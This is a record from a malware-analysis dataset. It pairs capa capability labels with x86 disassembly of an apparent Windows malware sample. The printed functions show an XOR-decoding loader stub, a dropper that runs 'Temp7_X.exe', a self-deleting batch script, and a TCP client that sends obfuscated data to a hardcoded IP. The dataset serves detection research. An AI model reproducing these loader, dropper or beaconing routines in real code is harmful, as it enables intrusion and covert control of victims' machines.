joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4034cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4034db
pop dword [ebp - 0x1c]
mov eax, 0x4034db
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x2ac3abc4
add dword [ebp - 0x2c], 0x238e9987
mov dword [ebp - 0x28], 0x2c23ad3d
sub dword [ebp - 0x28], 0xf9f060f8
mov dword [ebp - 0x24], 0x7ad386dd
add dword [ebp - 0x24], 0xd178bd51
mov dword [ebp - 0x20], 0x9af24d6c
sub dword [ebp - 0x20], 0x9af24d6c
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xaf00cc76
sub dword [ebp - 0x2c], 0x3a8e6320
mov dword [ebp - 0x28], 0x5f7240ec
sub dword [ebp - 0x28], 0x1e05df77
mov dword [ebp - 0x24], 0x3243d101
add dword [ebp - 0x24], 0x312b9b6b
mov dword [ebp - 0x20], 0x47f0f2b0
sub dword [ebp - 0x20], 0x47f0f2b0
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x851b74b0
add eax, 0x7b24cba0
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x35748
push 0
call eax
mov ecx, 0xbaf33cb7
sub ecx, 0xbaf2fa70
xor ebx, ebx
add ebx, eax
mov esi, 0x408400
add esi, dword [ebp - 0x1c]
mov edx, 0x290ecc60
sub edx, 0x8fbe4a75
add dword [ebp - 0x18], 0x57d5c4d0
mov edi, dword [esi]
mov dword [ebp - 0x14], 0x9c12b966
xor edi, edx
mov dword [ebx], edi
mov dword [ebp - 0x14], 0x9d3d6f65
add ebx, 0xc24e3162
sub ebx, 0xc24e315e
add esi, 4
loop 0x4035ef
add eax, 0x98e2bedc
add eax, 0x671e3d13
mov ebx, eax
add eax, 0xc5a7c04a
sub eax, 0xc5a7c045
mov ecx, 0xedb6afb9
sub ecx, 0xed76afb9
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x4010a0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x4246b0
push 0x67
push edi
call esi
push 0x64
push 0x4245e8
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00401290
mov eax, dword [ebp + 0x10]
mov edx, 0x4251b8
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4010f0
call fcn.00403820
mov dword [0x4230b0], eax
mov ecx, 0x41dc20
mov eax, 0x4251b8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401139
test dx, dx
je 0x401135
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401139
add eax, 4
add ecx, 4
test dx, dx
jne 0x401113
xor eax, eax
jmp 0x40113e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401158
call fcn.00401b20
test eax, eax
je 0x401158
call fcn.00403be0
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push edi
call fcn.00401320
add esp, 4
test eax, eax
jne 0x40117b
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.0040ac62
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.0040f550
mov eax, dword [0x424e00]
add esp, 0xc
test eax, eax
jbe 0x4011ce
cmp word [0x424e04], 0
jbe 0x4011ce
push eax
mov esi, str.218.54.31.226
call fcn.004037a0
mov cx, word [0x424e04]
add esp, 4
mov word [0x42365c], cx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov edx, eax
mov eax, 0x10624dd3
mul edx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.Temp7_X.exe
mov edx, 0x4253c8
call fcn.00402fc0
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 8
push 0x3e8
call edi
call fcn.00402c90
lea esi, [esp + 8]
call fcn.00402fe0
push 0x41dc40
mov edx, esi
push 0x104
push edx
call fcn.0040aca1
add esp, 0xc
push 0x4253c8
mov eax, esi
push 0x104
push eax
call fcn.0040aca1
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40126e
push 0x1f4
call edi
push 1
push 0
push 0x41ddcc
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.004029b0
call fcn.00403be0
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x403080
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x6c
push ebx
push ebp
mov ebx, 1
push esi
mov esi, eax
or eax, 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x70], eax
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x14], ebx
call fcn.0040ad28
sub esi, dword [esp + 0x80]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
mov dword [esp + 0x10], esi
fmul qword [0x41ffb0]
fild dword [esp + 0x10]
fmulp st(1)
fiadd dword [esp + 0x80]
call fcn.00417860
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x4031c0
jmp 0x403150
call fcn.0040ad28
mov dword [esp + 0x80], eax
fild dword [esp + 0x80]
fmul qword [0x41ffb0]
fmul qword [0x41ffc0]
fadd qword [0x41ffb8]
call fcn.00417860
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x14]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x4031a8
jmp 0x403190
add ecx, ebx
cmp ecx, 0x1a
jne 0x403199
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x14]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403190
add esi, dword [esp + ecx*4 + 0x14]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x403150
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6c
ret

Function at 0x4031d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x83
push edi
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x403243
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.0040baf9
push esi
mov edi, eax
push 0
push edi
call fcn.0040f550
push esi
push ebp
push edi
call fcn.00410700
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403be0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str._vslite.bat
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.0040c309
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.0040befb
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.0040c2c0
add esp, 0x14
test eax, eax
je 0x403c6b
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403d6e
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403ca0
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403cc0
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x403cd4
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040baf9
push edi
mov esi, eax
push 0
push esi
call fcn.0040f550
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push edi
push esi
call fcn.0040c2ed
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x403d25
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x403d6c
push esi
call fcn.0040b8fe
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0040ac62
add esp, 0x314
ret

Function at 0x403d90
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
cmp esi, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
je 0x403de1
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
add esp, 0x18
ret
Function at 0x404110
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, eax
xor ebp, ebp
cmp esi, 0xffffffff
push edi
mov dword [esp + 0x14], ebp
je 0x404332
push 0x400
call fcn.0040baf9
add esp, 4
push 0x400
mov ebx, eax
push ebp
push ebx
mov dword [esp + 0x24], ebx
call fcn.0040f550
add esp, 0xc
push esi
call fcn.00403fb0
add esp, 4
push ebx
push eax
call fcn.00403d90
add esp, 8
test eax, eax
je 0x404325
lea edi, [ebx + 4]
mov eax, 4
mov ecx, str._GBP
mov edx, edi
mov ebp, dword [edx]
cmp ebp, dword [ecx]
jne 0x40418c
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x404174
test eax, eax
je 0x4041f5
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x4041db
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4041f1
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x4041db
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4041f1
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x4041db
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4041f1
movzx eax, byte [ecx]
movzx ebx, byte [edx]
sub ebx, eax
je 0x4041f1
mov ebp, dword [esp + 0x14]
test ebx, ebx
mov ebx, dword [esp + 0x18]
mov eax, 1
jg 0x4041fb
or eax, 0xffffffff
jmp 0x4041fb
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
xor eax, eax
test eax, eax
jne 0x404225
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
jmp 0x404210
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404210
sub eax, edx
sar eax, 1
jne 0x404311
lea ecx, [esp + 0x1c]
push ecx
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push 0x400
push ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], 0x3c00
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x404325
mov eax, 4
mov ecx, str._GBP
mov edx, edi
mov esi, dword [edx]
cmp esi, dword [ecx]
jne 0x40428e
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x404276
test eax, eax
je 0x4042eb
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x4042dd
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4042eb
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x4042dd
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4042eb
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x4042dd
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4042eb
movzx esi, byte [edx]
movzx eax, byte [ecx]
sub esi, eax
je 0x4042eb
test esi, esi
mov eax, 1
jg 0x4042ed
or eax, 0xffffffff
jmp 0x4042ed
xor eax, eax
test eax, eax
jne 0x404325
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404300
sub eax, edx
sar eax, 1
je 0x404325
mov edi, dword [esp + 0x34]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ebp, 1
test ebx, ebx
je 0x404332
push ebx
call fcn.0040b8fe
add esp, 4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x404340
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.0040f550
add esp, 0xc
push 0x104
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
movzx edx, word [esp + 8]
sub edx, 0x41
push edx
lea ebx, [esp + 8]
call fcn.00403ea0
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00403df0
cmp eax, 0xffffffff
jne 0x4043c3
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ac62
add esp, 0x218
ret
push esi
call fcn.00404110
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0040ac62
add esp, 0x218
ret

Function at 0x405540
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
mov eax, 0x1068
call fcn.00416ae0
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x106c]
push ebx
push ebp
push 0x41dcbc
push eax
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
xor ebp, ebp
call fcn.0040aeee
mov eax, dword [esp + 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x4055ab
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
pop ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [esp + 0x1064]
xor ecx, esp
call fcn.0040ac62
add esp, 0x1068
ret
push esi
push 2
push ebx
push eax
call fcn.0040afc5
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040b1e2
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.0040afc5
mov eax, dword [esp + 0x28]
push eax
push 0x1000
lea ecx, [esp + 0x94]
push 1
push ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x67452301
mov dword [esp + 0x4c], 0xefcdab89
mov dword [esp + 0x50], 0x98badcfe
mov dword [esp + 0x54], 0x10325476
mov dword [esp + 0x58], 0xc3d2e1f0
call fcn.0040b5bf
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jbe 0x405656
lea edx, [esp + 0x70]
push esi
push edx
lea ebx, [esp + 0x1c]
call fcn.004053a0
mov eax, dword [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x80]
push 1
push ecx
add ebp, esi
call fcn.0040b5bf
mov esi, eax
add esp, 0x18
test esi, esi
ja 0x405621
xor ebx, ebx
push edi
lea esi, [esp + 0x18]
call fcn.00405450
mov edx, dword [esp + 0x10]
push edx
call fcn.0040b64d
add esp, 8
cmp ebp, dword [esp + 0x10]
pop esi
jb 0x405584
mov ecx, dword [esp + 0x106c]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040ac62
add esp, 0x1068
ret
Function at 0x4056a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x9a8], eax
push ebp
mov ebp, dword [esp + 0x9b8]
push esi
push edi
push 0x7fe
lea eax, [esp + 0x1b6]
push 0
push eax
mov edi, ecx
mov word [esp + 0x1bc], 0
call fcn.0040f550
add esp, 0xc
test edi, edi
lea esi, [esp + 0x1b0]
je 0x4056ee
mov esi, edi
lea ecx, [esp + 0x20]
push ecx
push 0x101
mov word [esi], 0
mov dword [esp + 0x14], 0
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40575e
push 0x41de54
push 0x3ff
push esi
call fcn.0040ad4a
push 0x41de74
push 0x3ff
push esi
call fcn.0040aca1
push 0x41de78
push 0x3ff
push esi
call fcn.0040aca1
add esp, 0x24
xor eax, eax
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0040ac62
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx], eax
je 0x405711
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4057f6
push ebp
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x4057f6
push 0x41de54
push 0x3ff
push esi
call fcn.0040ad4a
push 0x41de74
push 0x3ff
push esi
call fcn.0040aca1
push 0x41de78
push 0x3ff
push esi
call fcn.0040aca1
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x4057dc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx], edi
mov ecx, dword [esp + 0x9b4]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040ac62
add esp, 0x9b0
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov eax, dword [esp + 0x9c4]
push eax
mov dword [esp + 0x18], edx
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebx]
push 0x10
lea ecx, [esp + 0x14]
push ecx
push edx
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405839
push 0x41deb8
jmp 0x40579f
mov edi, 1
jmp 0x4057dc

Function at 0x405840
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
cmp dword [ecx], eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
je 0x4058c4
cmp edi, eax
jle 0x40586f
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
add eax, 1
cmp eax, edi
jl 0x405860
lea ebx, [edi + 7]
push ebx
call fcn.0040baf9
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x423134]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00410700
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4058c8
cmp eax, ebx
jne 0x4058c8
mov dword [esp + 0xc], 1
jmp 0x4058c8
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4058d5
push esi
call fcn.0040b8fe
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40a890
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
xor edi, edi
push 0x206
lea eax, [esp + 0x12]
push edi
push eax
mov word [esp + 0x18], di
call fcn.0040f550
add esp, 0xc
cmp esi, edi
mov dword [esp + 4], edi
je 0x40a993
mov eax, str.golfset.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40a8d3
sub eax, edx
sar eax, 1
je 0x40a993
cmp dword [0x4230b0], 3
jne 0x40a91a
push 0x104
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x41dc40
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.0040aca1
add esp, 0xc
jmp 0x40a92a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.golfset.ini
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0040aca1
push 0x41dcbc
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0040aeee
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x40a993
push eax
push 1
push 0x200
push esi
call fcn.0040b5bf
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0040b64d
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret

Function at 0x40a9b0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
xor edi, edi
push 0x206
lea eax, [esp + 0x12]
push edi
push eax
mov word [esp + 0x18], di
call fcn.0040f550
add esp, 0xc
cmp esi, edi
mov dword [esp + 4], edi
je 0x40aa7d
mov eax, 0x41ff94
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40a9f3
sub eax, edx
sar eax, 1
je 0x40aa7d
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x41ff94
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.0040aca1
push 0x41dcbc
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.0040aeee
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x40aa7d
push eax
push 1
push 0x200
push esi
call fcn.0040b5bf
mov edx, dword [esp + 0x14]
push edx
call fcn.0040b64d
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
Function at 0x414d19
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040d053
xor ebx, ebx
cmp dword [0x4244a8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x414dee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x414d59
xor eax, eax
jmp 0x414eb2
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x414d52
push eax
call fcn.0040cff0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4244a8], eax
call esi
push eax
call fcn.0040cff0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4244ac], eax
call esi
push eax
call fcn.0040cff0
mov dword [0x4244b0], eax
lea eax, [ebp - 8]
push eax
call fcn.0040f0e1
test eax, eax
pop ecx
pop ecx
je 0x414dbc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ce51
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x414dee
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040cff0
cmp eax, ebx
pop ecx
mov dword [0x4244b8], eax
je 0x414dee
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040cff0
pop ecx
mov dword [0x4244b4], eax
mov eax, dword [0x4244b4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x414e67
cmp dword [0x4244b8], esi
je 0x414e67
push eax
call fcn.0040d05c
pop ecx
call eax
cmp eax, ebx
je 0x414e34
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4244b8]
call fcn.0040d05c
pop ecx
call eax
test eax, eax
je 0x414e34
test byte [ebp - 0x18], 1
jne 0x414e67
lea eax, [ebp - 0xc]
push eax
call fcn.0040f118
test eax, eax
pop ecx
je 0x414e4f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ce51
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x414e5e
or dword [ebp + 0x10], 0x200000
jmp 0x414e98
or dword [ebp + 0x10], 0x40000
jmp 0x414e98
mov eax, dword [0x4244ac]
cmp eax, esi
je 0x414e98
push eax
call fcn.0040d05c
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x414e98
mov eax, dword [0x4244b0]
cmp eax, esi
je 0x414e98
push dword [ebp - 4]
push eax
call fcn.0040d05c
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4244a8]
call fcn.0040d05c
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret